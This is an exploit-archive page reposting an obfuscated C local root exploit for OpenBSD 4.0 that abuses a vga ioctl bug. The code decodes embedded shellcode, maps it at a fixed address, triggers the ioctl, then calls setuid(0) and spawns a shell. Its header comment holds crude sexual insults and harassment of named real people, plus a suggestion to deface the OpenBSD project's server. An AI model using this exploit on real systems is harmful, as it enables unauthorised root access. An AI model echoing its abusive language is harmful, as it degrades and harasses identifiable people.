his exploit abuses an old bug to gain root privileges on an OpenBSD 4.0 system

		当前位置：主页>安全文章>文章资料>Exploits>文章内容

his exploit abuses an old bug to gain root privileges on an OpenBSD 4.0 system

来源：http://lul-disclosure.net/ 作者：LMH 发布时间：2008-07-02

/*
* [ A PRODUCTION OF LUL-DISLCOSURE INC. ]
* PROUDLY PRESENTS...
*
* 888 888
* 888 888
* 888 888
* .d88b. 88888b. .d88b. 88888b. 88888b. .d8888b .d88888
* d88""88b 888 "88b d8P Y8b 888 "88b 888 "88b 88K d88" 888
* 888 888 888 888 88888888 888 888 888 888 "Y8888b. 888 888
* Y88..88P 888 d88P Y8b. 888 888 888 d88P X88 Y88b 888
* "Y88P" 88888P" "Y8888 888 888 88888P" 88888P' "Y88888
* 888
* 888
* 888 DID YOU EVER FEEL THE RUSH...
* d8b d8b ...FOR JIZZ?
* Y8P Y8P
*
* 8888 888 88888888 88888888
* "888 888 d88P d88P
* 888 888 d88P d88P
* 888 888 d88P d88P
* 888 888 88888888 88888888
* 888
* d88P
* 888P"
*
* My final contribution, DA WORLD'S FIRST ANIMATED EXPLOIT!, is the foundation
* for the next generation of OpenBSD exploits, crafted to burn Theo's eyes and make
* him spend countless hours not only exercising his supreme reversing skills
* but also delay his already deadly slow patch release timing. Hopefully every
* fucktard out there willing to release an exploit for one of the many OpenBSD
* locally exploitable issues, will give this insanely advanced code a good use.
* Make sure you include some sanity checks (ie. if uid == 0 and hostname ==
* cvs.openbsd.org make it do something creative like updating their index.html
* once in a while).
*
* I would like to thank the following people for all the support, fun and
* inspiration during my pilgrimage through the incredibly broken community known
* as the security industry:
* Jesus H. Christ, Brute Dong, Bob, GOBBLES, towlie, noir and spender.
*
* I could name several people that I would love to either curbstomp or rape
* anally (enjoying every inch of their rectum, though many of them would enjoy
* the experience too, i know you dig dicks guys!), but I'll be a nice kid and
* simply say that I love how this hdm, jf, FAilja, et al are nothing but
* cock monglers. I enjoy how some of them have lost their jobs or got banned
* by US immigration. And I also thank McDonalds for making you fatfucks get more
* obese and ugly every year. And I'm sorry for the poor strippers that have to
* stand the reality of being the only thing ressembling a woman you've ever had
* the opportunity to see naked, besides your crack head cock-gobbling mom when
* she sodomized you with a chop stick (and we know you liked it).
* Hehehehe. BANANA! BANANA! BANANA! BTW, has gadi evron stopped crying for cocks
* on craigslist men seeking men board? That fat fuck is sick. LULZ!
*
* OpenBSD is obsolete, aged, poorly designed, worsly developed and horribly
* maintained. And led by a guy who needs to take his head out of his frozen
* Canadian ass. FUCK YOU THEO, I'VE GOT YOUR DARPA FUNDING!
*
* This exploit abuses an old bug to gain root privileges on an OpenBSD 4.0
* system. The ipv6 bug was never fully implemented because this shit made
* me get a brain tumor. FUCK YOU THEO! LULZ LULZ LULZ LULZ LULZ LULZ LULZ
*
* -- 2008 - by LMH
*
*/
#include /*pax*/<string.h>/*drepper libc rocking on*//**//**//**//**//**//* */
#include /*It seems to me so strange*/<stdlib.h>/*tax*//**//**//**//**//**//* */
#include /*aint*/<stdio.h>/*mmap NULL rocking the kernel on*//**//**//**//**//**/
#include /*Check wallet for her name*/<unistd.h>/*lax!*//**//**//**//**//**//**/
#include /*Her face is in the muck*/<sys/param.h>/**//**//**//**//**//**//* * */
#include /*Her face is in the muck*/<err.h>/**//**//**//**//**//**//**//**//* */
#include /*I think her zippers stuck*/<sys/ioctl.h>/*death OPENBSD SECURE */
#include /*It is perfect for me*/<sys/syscall.h>/*threats THANKS TO PAX */
#include /*To practice surgery*/<fcntl.h>/**//**//* ######### BUY */
#include /*One look coagulates*/<sys/types.h>/*mail ##horror## ### SPENDER */
#include /*Its time to operate*/<sys/stat.h>/*arrives #sick### ### A NEW */
#include /*Just keep it going*/<sys/mman.h>/*pain ###pain##### ### POSTER! */
#include /*Just keep it going*/<sys/sysctl.h>/*feels ##dumb### ############*/
#define /*Just keep it going*/ma main/*theo: ##feels########## ance M #######*/
#define /*Shes not dead, shes gonna live*/s /*fuck*/stdout/*## Havok #######*/
#define /*Shes not dead, shes gonna live*/x fflush/*the ######################*/
#define /*I see her eyes rolling back in her head*/_s /*pain*/sleep/* GG NOIR */
#define /*Come on lets take her home*/f for/**//**//**//**//**//**//**//**//* */
#define /*I think i heard her groan*/v /*what*/void/**//**//**//**//**//**//* */
#define /*Hold on or she will sink*/__0 while/**//**//**//**//**//**//**//* */
#define /*Just keep it going*/_c /*is*/char/*acter issues*//**//**//**//**//* */
#define /*You can fake it*/_____ sizeof/**//**//**//**//**//**//* *//**//* */
#define /*It's time to operate*/____ /*the*/printf/**//**//**//**//**//**//* */
#define /*It's time to operate*/___ return/**//**//**//**//**//**//* *//**//**/
#define /*It's time to operate*/__ /*of*/int/**//**//**//**//**//**//**//**//**/
#define /*It's time to operate*/_t static/**//**//**//**//**//**//**//**//* */
#define /*It's time to operate*/_ki struct kinfo_proc/**//**//**//**//**//* */
#define /*It's time to operate*/_pi pid_t/**//**//**//**//**//**//* *//**//**/
#define /*It's time to operate*/______ unsigned int/**//**//**//**//**//**//* */
#define /*It's time to operate*/_______ err/**//**//**//**//**//**//* *//* */
#define /*It's time to operate*/__ki exit/**//**//**//**//**//**//* *//**//* */
#define /*It's time to operate*/__sy sysctl/**//**//**//**//**//**//* *//* */
#define /*Heroin winner cup.*/ctkrn (__)0x00000000/**//**//**//**//**//**//* */
#define /*It's time to operate*/kproc (__)0x0000000E/**//**//**//**//**//**//**/
#define /*Inject. Overdose. End.*/kppid (__)(/**/ctkrn+/**/0x00000001)/**//* */
#define /*That cigar tube smells like lost elections*/dirtysanchez mmap/**//* */
#define /*It's time to operate*/________/**/printf/**//**//**//**//**//**//* */
#define /*It's time to operate*/_________/**/unsigned long/**//**//**//**//* */
#define /*It's time to operate*/_m/**/memcpy/**//**//**//**//**//**//**//* */
#define /*It's time to operate*/__________/**/setuid/**//**//**//**//**//**//**/
#define /*It's time to operate*/___________/**/seteuid/**//**//**//**//**//* */
#define /*It's time to operate*/____________/**/execl/**//**//**//**//**//* */
#define aaaaaaaaaaaaaaaa O_RDWR
#define ____rw_c_ (aaaaaaaaaaaaaaaa|O_CREAT)
#define ____se_e_ (S_IRUSR|S_IWUSR)
#define reopen close
#define _w_w_w_w_w_w_w_w write
#define meltwax PROT_READ|PROT_EXEC
#define raadt MAP_FIXED
#define openbsdsec MAP_FAILED
#define molest syscall
#define provos SYS_ioctl

_c macaddr[]=""; // Used for ICMPv6 exploit: VMWare network interface mac addr

/* many years... *Theo sheds a FREE tear* Sigh.
===================================================================
RCS file: /usr/OpenBSD/cvs/www/index.html,v
retrieving revision 1.548
retrieving revision 1.549
diff -u -r1.548 -r1.549
--- www/index.html 2007/03/12 17:21:59 1.548
+++ www/index.html 2007/03/13 22:39:47 1.549
@@ -78,7 +78,7 @@
<a href="art1.html"><img border="0" src="images/puffy40.gif" height=199
 
<center>
-Only one remote hole in the default install, in more than 10 years! 
+Only two remote holes in the default install, in more than 10 years! 
</center>

The OpenBSD project produces a FREE, multi-platform 4.4BSD-based
*/

_c shlr[]="\xc9\xd1\xd1\xd1\xc9\xd1\xd1\xd1\xc9\xd1\xd1\xd1\xc9\xd1\xd1\xd1\xc9"
"\xd1\xd1\xd1\xc9\xd1\xd1\xd1\x39\xde\xd1\xd1\xd1\xa9\x87\xe5\xc3\x2f\x1b\x7c"//
"\x0f\x7c\x0f\x3e\x6f\x41\x41\x41\x8e\x5a\xde\x5a\x88\xc1\xe0\x11\x58\x92\xd5"//
"\x5a\xc2\x58\x93\xd5\x69\x80\x96\x99\x01\x2e\x31\xd1"; double obsdv;_________//
mg1=0x21524110;_________ mg2=0xcc99e897;_________ mg3=0xffffffff;_________ mg4=
0x12345678;_c shl[]="\x85\xc8\xc3\xc4\x85\xd9\xc2\xaa";v gpr(_pi dp,_ki *kp);///
_c tks[]="\x6e\x35\x2c\x31\x6e\x35\x29\x24\x2e\x6f\x19\x19\x19\x19\x19\x41";_c
gde[]="\x00\x4b\x4a\x59\x00\x5b\x5b\x56\x6c\x1f\x2f";

_t v evi(){_________ rts[2]={0xee5f9be,0xebdfc46};__ i,moo,moooo;v *p;_________
ppa;_ki kp;rts[0]=rts[0]^(mg1^mg3);rts[1]=rts[1]^(mg2^mg4);gpr((_pi)getpid(),//
&kp);ppa=(_________)kp.kp_eproc.e_paddr;shlr[24+5]=ppa&0xff;shlr[24+6]=(ppa>>8)&
0xff;shlr[24+7]=(ppa>>16)&0xff;shlr[24+8]=(ppa>>24)&0xff;____("\x5b\x2b\x5d\x20"
"\x53\x68\x65\x6c\x6c\x63\x6f\x64\x65\x3a\x20""%u bytes at %p\x0a",(unsigned)//
_____(shlr),&shlr);moo=mkstemp(tks);if(moo<0){_______(1,"\x6f\x70\x65\x6e");}
_w_w_w_w_w_w_w_w(moo,shlr,_____(shlr));if((lseek(moo,0L,SEEK_SET))<0){_______(1,
"\x6c\x73\x65\x65\x6b");}p=dirtysanchez(0,_____(shlr),meltwax,raadt,moo,0);if(p
==openbsdsec){_______(1,"\x6d\x6d\x61\x70");}moooo=open(gde,O_RDWR);if(moooo<0){
munmap(p,_____(shlr));reopen(moo);_______(1,"\x6f\x70\x65\x6e");}molest(provos,
moooo,0x80044103,NULL);reopen(moooo);reopen(moo);___________(0);__________(ctkrn);
____________(shl,"sh",(v *)ctkrn);
}

double vobsd(){__ rg[2],l;_c *p;double re;rg[0]=CTL_KERN;rg[1]=KERN_OSRELEASE;
if(__sy(rg,2,NULL,(size_t *)&l,NULL,0)==-1){_______(1,"\x73\x79\x73\x63\x74\x6c"
);}if((p=malloc(l))==NULL){_______(1,NULL);}if(__sy(rg,2,p,(size_t *)&l,NULL,0)
==-1){_______(1,"\x73\x79\x73\x63\x74\x6c");}re=atof(p);____("\x5b\x2b\x5d\x20"
"\x4f\x70\x65\x6e\x42\x53\x44\x20\x72\x65\x6c\x65\x61\x73\x65\x20\x64\x65\x74"
"\x65\x63\x74\x65\x64\x3a\x20""%s (%f)\n",p,re);free(p);___ re;}v uss(){____(/**/
"\x4f\x70\x65\x6e\x42\x53\x44\x3a\x20\x4f\x6e\x6c\x79\x20\x73\x65\x63\x75\x72\x65"
"\x20\x69\x6e\x20\x73\x69\x6e\x67\x6c\x65\x20\x75\x73\x65\x72\x20\x65\x6e\x76\x69"
"\x72\x6f\x6e\x6d\x65\x6e\x74\x73\x20\x66\x6f\x72\x20\x6d\x6f\x72\x65\x20\x74\x68"
"\x61\x6e\x20\x31\x30\x20\x79\x65\x61\x72\x73\x21\x0a\x0a\x54\x61\x72\x67\x65\x74"
"\x20\x76\x75\x6c\x6e\x65\x72\x61\x62\x69\x6c\x69\x74\x79\x3a\x0a\x09\x76\x67\x61"
"\x3a\x20\x76\x67\x61\x5f\x69\x6f\x63\x74\x6c\x28\x29\x20\x6c\x6f\x63\x61\x6c\x20"
"\x65\x78\x70\x6c\x6f\x69\x74\x20\x20\x20\x28\x34\x2e\x30\x20\x61\x6e\x64\x20\x33"
"\x2e\x39\x20\x67\x65\x6e\x65\x72\x69\x63\x20\x69\x33\x38\x36\x29\x0a\x09\x69\x70"
"\x36\x34\x30\x3a\x20\x49\x43\x4d\x50\x76\x36\x20\x72\x65\x6d\x6f\x74\x65\x20\x65"
"\x78\x70\x6c\x6f\x69\x74\x20\x20\x20\x20\x20\x28\x34\x2e\x30\x20\x67\x65\x6e\x65"
"\x72\x69\x63\x20\x69\x33\x38\x36\x29\x20\x28\x72\x6f\x6f\x74\x20\x72\x65\x71\x75"
"\x69\x72\x65\x64\x21\x29\x0a\x0a\x44\x61\x72\x65\x20\x79\x6f\x75\x20\x74\x6f\x20"
"\x72\x75\x6e\x20\x74\x68\x69\x73\x20\x65\x78\x70\x6c\x6f\x69\x74\x20\x61\x73\x20"
"\x72\x6f\x6f\x74\x2e\x20\x4f\x70\x65\x6e\x42\x53\x0a\x0a");__ki(-1);}v gpr(_pi dp,
_ki *kp){__ rg[4],l;rg[0]=ctkrn;rg[1]=kproc;rg[2]=kppid;rg[3]=dp;l=_____(_ki);if(
__sy(rg,4,kp,(size_t *)&l,NULL,0)<0){_______(1,"\x73\x79\x73\x63\x74\x6c");_______
(1,"\x43\x6f\x75\x6c\x64\x20\x6e\x6f\x74\x20\x72\x65\x74\x72\x69\x65\x76\x65\x20"
"\x70\x72\x6f\x63\x20\x73\x74\x72\x75\x63\x74\x75\x72\x65\x21\x0a");}}_t v xo(_c
u[],______ l,__ k){______ i;f(i=0;i<l;i++){u[i]=u[i]^k;}}_t __ was=0;v pg(__ w,_c
*rr[],__ nz,__ wsn){__ i,b;_c *u=0;__0(was<wsn){f(i= 0;i<nz;i++){u=rr[i];f(b=0;b
<w;b++){____("\b");}____("%s",u);x(s);_s(1);}was++;}____("\n"/*A*/);/*{*/}/*r},v
*/__ ma(__ a,_c **g){_c *theosmovie[]={"\x53\x75\x63\x6b\x69\x6e\x67"/**//**//**/
"\x20\x6f\x6e\x20\x6d\x79\x20\x74\x69\x74\x74\x69\x65\x73\x20\x6c\x69\x6b\x65\x20"
"\x79\x6f\x75\x20\x77\x61\x6e\x74\x65\x64\x20\x6d\x65\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20","\x43\x61\x6c\x6c\x69\x6e\x67\x20\x6d\x65\x2c\x20\x61\x6c\x6c"
"\x20\x74\x68\x65\x20\x74\x69\x6d\x65\x20\x6c\x69\x6b\x65\x20\x42\x6c\x6f\x6e\x64"
"\x69\x65\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20","\x43\x68\x65"
"\x63\x6b\x20\x6f\x75\x74\x20\x6d\x79\x20\x63\x68\x72\x69\x73\x73\x79\x20\x62\x65"
"\x68\x69\x6e\x64\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20","\x49\x74\x27\x73\x20\x66\x69\x6e\x65\x20\x61"
"\x6c\x6c\x20\x6f\x66\x20\x74\x68\x65\x20\x74\x69\x6d\x65\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
,"\x4c\x69\x6b\x65\x20\x73\x65\x78\x20\x6f\x6e\x20\x74\x68\x65\x20\x62\x65\x61\x63"
"\x68\x65\x73\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20","\x57\x68\x61\x74\x20\x65\x6c\x73"
"\x65\x20\x69\x73\x20\x69\x6e\x20\x74\x68\x65\x20\x74\x65\x61\x63\x68\x65\x73\x20"
"\x6f\x66\x20\x70\x65\x61\x63\x68\x65\x73\x3f\x20\x48\x75\x68\x3f\x20\x57\x68\x61"
"\x74\x3f\x20","\x48\x75\x68\x3f\x20\x52\x69\x67\x68\x74\x2e\x20\x57\x68\x61\x74"
"\x3f\x20\x55\x68\x68\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20","\x48\x75\x68\x3f"
"\x20\x52\x69\x67\x68\x74\x2e\x20\x57\x68\x61\x74\x3f\x20\x55\x68\x68\x3f\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20","\x53\x49\x53\x20\x49\x55\x44\x2c\x20\x73\x74\x61"
"\x79\x20\x69\x6e\x20\x73\x63\x68\x6f\x6f\x6c\x20\x27\x63\x61\x75\x73\x65\x20\x69"
"\x74\x27\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x20\x20\x20\x20\x20\x20\x20",
"\x49\x55\x44\x20\x53\x49\x53\x2c\x20\x73\x74\x61\x79\x20\x69\x6e\x20\x73\x63\x68"
"\x6f\x6f\x6c\x20\x27\x63\x61\x75\x73\x65\x20\x69\x74\x27\x73\x20\x74\x68\x65\x20"
"\x62\x65\x73\x74\x20\x20\x20\x20\x20\x20\x20","\x53\x49\x53\x20\x49\x55\x44\x2c"
"\x20\x73\x74\x61\x79\x20\x69\x6e\x20\x73\x63\x68\x6f\x6f\x6c\x20\x27\x63\x61\x75"
"\x73\x65\x20\x69\x74\x27\x73\x20\x74\x68\x65\x20\x62\x65\x73\x74\x20\x20\x20\x20"
"\x20\x20\x20","Fuck the pain away? Fuck the pain away!\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20","Fuck the pain away! Fuck the pain away?\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20","Fuck the 0day away. Fuck the pain away!"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20","Fuck the pain away! Fuck the"
" pain away?\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20","Fuck the 0day aw"
"ay? Fuck the pain away!\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"};____(
"\033[2J\x20\x20\x5f\x5f\x5f\x20\x20\x20\x20\x20\x20\x20\x4f\x70\x65\x6e\x42\x53"
"\x44\x20\x4d\x6f\x76\x69\x65\x20\x62\x79\x20\x54\x68\x65\x6f\x20\x64\x65\x20\x52"
"\x61\x61\x64\x74\x0a\x20\x2f\x2f\x20\x20\x37\x20\x20\x20\x20\x20\x20\x53\x74\x61"
"\x72\x72\x69\x6e\x67\x2e\x2e\x2e\x0a\x28\x5f\x2c\x5f\x2f\x5c\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x2e\x2e\x2e\x68\x69\x6d\x73\x65\x6c\x66\x21\x0a"
"\x20\x5c\x20\x20\x20\x20\x5c\x0a\x20\x20\x5c\x20\x20\x20\x20\x5c\x20\x20\x20\x20"
"\x20\x42\x72\x6f\x75\x67\x68\x74\x20\x74\x6f\x20\x79\x6f\x75\x20\x62\x79\x2e\x2e"
"\x2e\x0a\x20\x20\x5f\x5c\x20\x20\x20\x20\x5c\x5f\x5f\x0a\x20\x28\x20\x20\x5c\x20"
"\x20\x20\x20\x20\x20\x29\x20\x20\x20\x20\x20\x54\x68\x65\x6f\x27\x73\x20\x6c\x6f"
"\x73\x74\x20\x44\x41\x52\x50\x41\x20\x66\x75\x6e\x64\x69\x6e\x67\x0a\x20\x20\x5c"
"\x5f\x5f\x5f\x5c\x5f\x5f\x5f\x2f\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x26"
"\x20\x50\x65\x61\x63\x68\x65\x73\x2e\x0a\x0a");/* Fuck the 0day away. */ if(a<2
){uss();}obsdv=vobsd();pg(80,theosmovie,_____(theosmovie)/_____(_c *),1);xo(shl,
_____(shl),shl[_____(shl)]);xo(shlr,_____(shlr),0xd1);xo(tks,_____(tks),0x41);xo(
gde,_____(gde), 0x2f);if(obsdv==4.0&&!strcmp(g[1],"vga")){evi();}

/*That's it.*/___ 0;}/*Easy to fingerprint, eh?*/

[